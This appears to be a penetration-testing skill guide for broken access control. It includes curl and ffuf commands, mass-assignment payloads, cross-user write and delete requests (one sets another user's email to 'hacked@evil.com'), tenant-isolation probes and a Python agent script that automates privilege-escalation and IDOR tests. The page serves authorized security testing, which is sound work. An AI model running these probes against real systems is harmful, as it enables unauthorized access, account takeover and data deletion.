npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
- When evaluating role-based access control (RBAC) implementations across all application endpoints
- For testing multi-tenant applications where users in one organization should not access another's data
- When assessing API endpoints for missing or inconsistent authorization checks
- During security audits where privilege escalation and unauthorized access are primary concerns
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With Authorize extension for automated access control testing
- Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
- Application role matrix: Documentation of what each role should and should not access
- curl/httpie: For manual endpoint testing with different authentication contexts
- ffuf: For discovering hidden endpoints that may lack access controls
Workflow
Step 1: Map All Endpoints and Create Access Control Matrix
Document every endpoint and the expected access level for each role.
# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host
# Build a matrix of endpoints vs roles:
# | Endpoint | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard | Allow | Deny | Deny | Deny |
# | GET /api/users | Allow | Allow | Deny | Deny |
# | PUT /api/users/{id} | Allow | Deny | Own | Deny |
# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |
# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN"Step 2: Configure Automated Access Control Testing
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)Step 3: Test Vertical Privilege Escalation
Attempt to access higher-privilege functionality with lower-privilege accounts.
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"
# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
"GET /admin/dashboard"
"GET /admin/users"
"POST /admin/users/create"
"PUT /admin/settings"
"DELETE /admin/users/5"
"GET /admin/logs"
"GET /admin/reports/export"
"POST /admin/backup"
)
for entry in "${ADMIN_ENDPOINTS[@]}"; do
method=$(echo "$entry" | cut -d' ' -f1)
endpoint=$(echo "$entry" | cut -d' ' -f2)
echo -n "$method $endpoint (as user): "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
echo "VULNERABLE ($status)"
else
echo "OK ($status)"
fi
done
# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"
# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method /admin/users: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"
echo
doneStep 4: Test Horizontal Privilege Escalation
Verify that users cannot access resources belonging to other users at the same privilege level.
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile"
"/api/users/102/orders"
"/api/users/102/messages"
"/api/users/102/documents"
"/api/users/102/settings"
"/api/users/102/payment-methods"
)
for resource in "${RESOURCES[@]}"; do
echo -n "GET $resource: "
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo "$response" | tail -1)
body_len=$(echo "$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
echo "VULNERABLE ($status, $body_len bytes)"
else
echo "OK ($status)"
fi
done
# Test write operations across users
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
# Test delete operations
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"Step 5: Test Function-Level Access Control
Verify that specific functions enforce authorization properly.
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
"/api/user/profile"
"/api/transactions"
"/api/settings"
"/admin/dashboard"
"/api/export/users"
)
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
echo -n "No auth: GET $endpoint: "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"
echo
done
# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"
# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)
# Test parameter-based role escalation
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"
# Test registration with elevated role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"Step 6: Test Multi-Tenant Isolation
Verify that tenant boundaries are enforced in multi-tenant applications.
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# Test tenant ID in request body
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"
# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20Key Concepts
| Concept | Description |
|---|---|
| Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) |
| Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level |
| Function-Level Access Control | Authorization checks on specific features/functions regardless of URL |
| RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users |
| ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes |
| Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants |
| Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks |
| Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception and role-based testing |
| Authorize (Burp Extension) | Automated access control testing across sessions |
| AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts |
| Postman | API testing with environment switching between roles |
| ffuf | Discovering hidden endpoints that may lack access controls |
| OWASP ZAP | Access control testing with context-aware scanning |
Common Scenarios
Scenario 1: Admin Panel Without Auth Check
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
Scenario 2: API Endpoint Missing Authorization
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
Scenario 3: Tenant Data Leakage
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
Output Format
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisionsReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.0 KB
API Reference: Testing for Broken Access Control
requests Library
Authentication Patterns
# Bearer token authentication
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Cookie-based authentication
cookies = {"session": "session_value"}
# Multiple methods
resp = requests.request("DELETE", url, headers=headers)Test Categories
Vertical Privilege Escalation
Test admin endpoints with regular user credentials:
for endpoint in admin_endpoints:
resp = requests.get(url, headers=user_headers)
# 200 = VULNERABLE, 403 = properly restrictedHorizontal Privilege Escalation (IDOR)
Access other users' resources:
# Replace {id} with other user's ID
resp = requests.get(f"/api/users/{other_id}/profile", headers=user_headers)HTTP Method Override
override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"]Mass Assignment Fields
| Field | Description |
|---|---|
role |
User role (admin, user) |
is_admin |
Boolean admin flag |
permissions |
Permission array |
access_level |
Numeric access level |
user_type |
User type classification |
Response Status Interpretation
| Status | Meaning |
|---|---|
| 200/201 | Access granted (potential vulnerability if unexpected) |
| 401 | Not authenticated |
| 403 | Authenticated but not authorized (correct behavior) |
| 404 | Resource not found (may hide from unauthorized users) |
| 405 | Method not allowed |
OWASP References
- A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- WSTG Access Control: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/
- IDOR Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References
Scripts 1
agent.py8.7 KB
#!/usr/bin/env python3
"""Agent for testing broken access control vulnerabilities during authorized assessments."""
import requests
import json
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def test_vertical_escalation(base_url, user_token, admin_endpoints):
"""Test if a regular user can access admin endpoints."""
print("\n[*] Testing vertical privilege escalation...")
findings = []
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
methods = ["GET", "POST", "PUT", "DELETE"]
for endpoint in admin_endpoints:
for method in methods:
url = urljoin(base_url, endpoint)
try:
resp = requests.request(method, url, headers=headers, timeout=10, verify=False)
if resp.status_code in (200, 201, 204):
findings.append({
"type": "VERTICAL_ESCALATION", "method": method,
"url": url, "status": resp.status_code, "severity": "CRITICAL",
})
print(f" [!] VULNERABLE: {method} {endpoint} -> {resp.status_code}")
except requests.RequestException:
continue
print(f"[*] {len(findings)} vertical escalation findings")
return findings
def test_horizontal_escalation(base_url, user_token, resource_templates, other_user_ids):
"""Test if a user can access another user's resources."""
print("\n[*] Testing horizontal privilege escalation (IDOR)...")
findings = []
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
for template in resource_templates:
for uid in other_user_ids:
url = urljoin(base_url, template.replace("{id}", str(uid)))
try:
resp = requests.get(url, headers=headers, timeout=10, verify=False)
if resp.status_code == 200 and len(resp.text) > 50:
findings.append({
"type": "HORIZONTAL_ESCALATION", "url": url,
"user_id": uid, "status": resp.status_code,
"body_length": len(resp.text), "severity": "CRITICAL",
})
print(f" [!] IDOR: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)")
except requests.RequestException:
continue
print(f"[*] {len(findings)} horizontal escalation findings")
return findings
def test_method_override(base_url, user_token, endpoint):
"""Test HTTP method override headers for access control bypass."""
print(f"\n[*] Testing method override on {endpoint}...")
findings = []
url = urljoin(base_url, endpoint)
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"]
for oh in override_headers:
for method in ["DELETE", "PUT", "PATCH"]:
test_headers = {**headers, oh: method}
try:
resp = requests.post(url, headers=test_headers, timeout=10, verify=False)
if resp.status_code in (200, 201, 204):
findings.append({
"type": "METHOD_OVERRIDE_BYPASS", "url": url,
"override_header": oh, "method": method,
"status": resp.status_code, "severity": "HIGH",
})
print(f" [!] {oh}: {method} -> {resp.status_code}")
except requests.RequestException:
continue
return findings
def test_unauthenticated_access(base_url, protected_endpoints):
"""Test if protected endpoints are accessible without authentication."""
print("\n[*] Testing unauthenticated access...")
findings = []
for endpoint in protected_endpoints:
url = urljoin(base_url, endpoint)
try:
resp = requests.get(url, timeout=10, verify=False)
if resp.status_code == 200 and len(resp.text) > 50:
findings.append({
"type": "UNAUTHENTICATED_ACCESS", "url": url,
"status": resp.status_code, "severity": "CRITICAL",
})
print(f" [!] OPEN: GET {endpoint} -> {resp.status_code}")
except requests.RequestException:
continue
print(f"[*] {len(findings)} unauthenticated access findings")
return findings
def test_mass_assignment(base_url, user_token, profile_endpoint):
"""Test if role/privilege fields can be modified via profile update."""
print(f"\n[*] Testing mass assignment on {profile_endpoint}...")
findings = []
url = urljoin(base_url, profile_endpoint)
headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"}
payloads = [
{"role": "admin"}, {"is_admin": True}, {"permissions": ["admin", "superuser"]},
{"user_type": "administrator"}, {"access_level": 99},
]
for payload in payloads:
try:
resp = requests.put(url, headers=headers, json=payload, timeout=10, verify=False)
if resp.status_code in (200, 201):
field = list(payload.keys())[0]
resp_text = resp.text.lower()
if str(payload[field]).lower() in resp_text:
findings.append({
"type": "MASS_ASSIGNMENT", "url": url,
"field": field, "value": payload[field], "severity": "CRITICAL",
})
print(f" [!] VULNERABLE: {field}={payload[field]} accepted")
except requests.RequestException:
continue
return findings
def test_tenant_isolation(base_url, tenant_a_token, tenant_b_resources):
"""Test cross-tenant data access."""
print("\n[*] Testing tenant isolation...")
findings = []
headers = {"Authorization": f"Bearer {tenant_a_token}", "Content-Type": "application/json"}
for resource in tenant_b_resources:
url = urljoin(base_url, resource)
try:
resp = requests.get(url, headers=headers, timeout=10, verify=False)
if resp.status_code == 200 and len(resp.text) > 50:
findings.append({
"type": "TENANT_ISOLATION_BREACH", "url": url,
"status": resp.status_code, "severity": "CRITICAL",
})
print(f" [!] CROSS-TENANT: {url} -> {resp.status_code}")
except requests.RequestException:
continue
return findings
def generate_report(findings, output_path):
"""Generate access control assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(findings),
"by_type": {},
"by_severity": {},
"findings": findings,
}
for f in findings:
t = f.get("type", "UNKNOWN")
s = f.get("severity", "INFO")
report["by_type"][t] = report["by_type"].get(t, 0) + 1
report["by_severity"][s] = report["by_severity"].get(s, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
def main():
parser = argparse.ArgumentParser(description="Broken Access Control Testing Agent")
parser.add_argument("base_url", help="Base URL of the target")
parser.add_argument("--user-token", help="Regular user's Bearer token")
parser.add_argument("--admin-endpoints", nargs="+",
default=["/admin/dashboard", "/admin/users", "/api/admin/settings"])
parser.add_argument("--resource-templates", nargs="+",
default=["/api/users/{id}/profile", "/api/users/{id}/orders"])
parser.add_argument("--other-ids", nargs="+", default=["2", "3", "100", "101"])
parser.add_argument("-o", "--output", default="access_control_report.json")
args = parser.parse_args()
print(f"[*] Broken Access Control Assessment: {args.base_url}")
findings = []
findings.extend(test_unauthenticated_access(args.base_url, args.admin_endpoints))
if args.user_token:
findings.extend(test_vertical_escalation(args.base_url, args.user_token, args.admin_endpoints))
findings.extend(test_horizontal_escalation(args.base_url, args.user_token,
args.resource_templates, args.other_ids))
findings.extend(test_method_override(args.base_url, args.user_token, args.admin_endpoints[0]))
findings.extend(test_mass_assignment(args.base_url, args.user_token, "/api/users/me"))
generate_report(findings, args.output)
if __name__ == "__main__":
main()